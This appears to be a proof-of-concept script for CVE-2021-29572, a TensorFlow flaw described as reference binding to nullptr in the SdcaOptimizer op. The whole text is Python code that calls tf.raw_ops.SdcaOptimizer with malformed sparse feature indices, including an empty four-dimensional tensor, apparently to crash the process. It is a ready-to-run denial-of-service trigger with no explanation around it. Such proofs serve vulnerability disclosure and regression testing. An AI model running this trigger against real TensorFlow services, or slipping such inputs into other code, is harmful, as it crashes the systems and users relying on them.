CVE-2021-29572: Reference binding to nullptr in `SdcaOptimizer`

import tensorflow as tf

sparse_example_indices = [tf.constant((0), dtype=tf.int64), tf.constant((0), dtype=tf.int64)]
sparse_feature_indices = [tf.constant([], shape=[0, 0, 0, 0], dtype=tf.int64), tf.constant((0), dtype=tf.int64)]
sparse_feature_values = []

dense_features = []
dense_weights = []

example_weights = tf.constant((0.0), dtype=tf.float32)
example_labels = tf.constant((0.0), dtype=tf.float32)

sparse_indices = [tf.constant((0), dtype=tf.int64), tf.constant((0), dtype=tf.int64)]
sparse_weights = [tf.constant((0.0), dtype=tf.float32), tf.constant((0.0), dtype=tf.float32)]

example_state_data = tf.constant([0.0, 0.0, 0.0, 0.0], shape=[1, 4], dtype=tf.float32)

tf.raw_ops.SdcaOptimizer(
sparse_example_indices=sparse_example_indices,
sparse_feature_indices=sparse_feature_indices,
sparse_feature_values=sparse_feature_values, dense_features=dense_features,
example_weights=example_weights, example_labels=example_labels,
sparse_indices=sparse_indices, sparse_weights=sparse_weights,
dense_weights=dense_weights, example_state_data=example_state_data,
loss_type="logistic_loss", l1=0.0, l2=0.0, num_loss_partitions=1,
num_inner_iterations=1, adaptative=False)